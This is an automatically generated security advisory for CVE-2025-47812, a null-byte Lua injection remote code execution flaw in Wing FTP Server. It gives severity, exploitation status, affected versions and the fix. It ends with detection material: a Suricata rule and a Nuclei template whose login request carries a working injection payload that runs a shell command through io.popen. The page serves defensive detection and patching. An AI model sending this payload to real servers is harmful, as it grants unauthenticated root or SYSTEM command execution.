VULNpocalypse

CVE-2025-47812: Wing FTP Server Improper Neutralization of Null Byte or NUL Character Vulnerability

Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.

Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.

What it is

In Wing FTP Server before 7.4.4. the user and admin web interfaces mishandle ‘\0’ bytes, ultimately allowing injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands with the privileges of the FTP service (root or SYSTEM by default). This is thus a remote code execution vulnerability that guarantees a total server compromise. This is also exploitable via anonymous FTP accounts.

Description quoted from the CVE record (assigned by mitre, published 2025-07-10).

Weakness: CWE-158 Improper Neutralization of Null Byte or NUL Character

How it can be exploited

Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.

On CISA KEV since
2025-07-14
US federal deadline
2025-08-04
Ransomware use
Not known

Public exploit evidence (Exploit Observer)

Also known as: BDU:2025-08471, CNNVD-202507-144, EDB-52347, EUVD-2025-21009, EUVD-2025-21021, GHSA-j4xf-75rr-vvrv, GHSA-r7h5-5g56-gv3h

VEDAS cluster: VEDAS:BARKINGBREEZE

Exploit Observer links 29 pieces of public exploit code or detection modules that name this CVE or one of its aliases.

Exploit code and modules (29)

Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.

Research and write-ups (4)

Vulnerability databases and vendor advisories (10)

Catalogue entries, not exploit evidence.

220 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.

VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.

Live scores

EPSS
0.939
very likely to be attacked soon
VEDAS
0.985
strong exploit evidence
On CISA KEV
Yes, since 2025-07-14
Detection rule
Nuclei · Suricata
EPSS (chance of attack)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.1Added to CISA KEV 2025-07-14CVE-2025-47812 EPSS over time2025-072026-11-01
VEDAS (exploit evidence)
10No cve-scores data 2026-02-22 to 2026-08-08no data0.9Added to CISA KEV 2025-07-14CVE-2025-47812 VEDAS over time2025-072026-11-01

Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.

Who is affected

ProductAffectedNot affected
wftpserver Wing FTP Serverbefore 7.4.4Not stated

Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.

Exploit Observer also maps it to: wftpserver wing_ftp_server, wing_ftp_software wing_ftp_server.

How to fix it

Fixed versions stated in the CVE record: 7.4.4.

CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.

Vendor guidance:

How to detect it

Nuclei template (active check)

Wingftp - Remote Code Execution

In Wing FTP Server before 7.4.4. the user and admin web interfaces mishandle ‘\0’ bytes, ultimately allowing injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands with the privileges of the FTP service (root or SYSTEM by default).

Name and description quoted from the template, written by VEDAS.

The template sends 2 requests (POST /loginok.html, GET /dir.html); it decides using dsl matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.

Run it against a host you own or are authorised to test:

bash
nuclei -u https://your-host -t CVE-2025-47812.yaml
Show the template (43 lines)
yaml
id: CVE-2025-47812

info:
  name: "Wingftp - Remote Code Execution"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    In Wing FTP Server before 7.4.4. the user and admin web interfaces mishandle '\0' bytes, ultimately allowing
    injection of arbitrary Lua code into user session files. This can be used to execute arbitrary system commands
    with the privileges of the FTP service (root or SYSTEM by default).
  reference:
    - https://www.exploit.observer/?keyword=CVE-2025-47812&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=wingftp&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-47812
  metadata:
    verified: false
  tags: cve,cve2025,rce,wingftp,ftp,unauth,kev,vkev,vuln
variables:
  cmd: "echo CVE-2025-47812"

http:
  - raw:
      - |
        POST /loginok.html HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=anonymous%00]]%0dlocal+h+%3d+io.popen("{{cmd}}")%0dlocal+r+%3d+h%3aread("*a")%0dh%3aclose()%0dprint(r)%0d--&password=

  - raw:
      - |
        GET /dir.html HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(to_lower(body), "cve-2025-47812")'
        condition: and

CVE-2025-47812.yaml on GitHub

Suricata rules (network detection)

1 rule that alert on traffic matching this exploit: VEDAS CVE-2025-47812 Wingftp - Remote Code Execution. Add them to your Suricata rule set and reload.

Show the rules
suricata
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2025-47812 Wingftp - Remote Code Execution"; flow:established,to_server; http.uri; content:"/loginok.html"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2025-47812; reference:url,https://www.exploit.observer/?keyword=CVE-2025-47812&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=wingftp&match=exact; sid:1009150; rev:1;)

CVE-2025-47812.rules on GitHub

References

Exploits and technical analysis

Government sources

Other references

Other databases

Where this comes from

This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.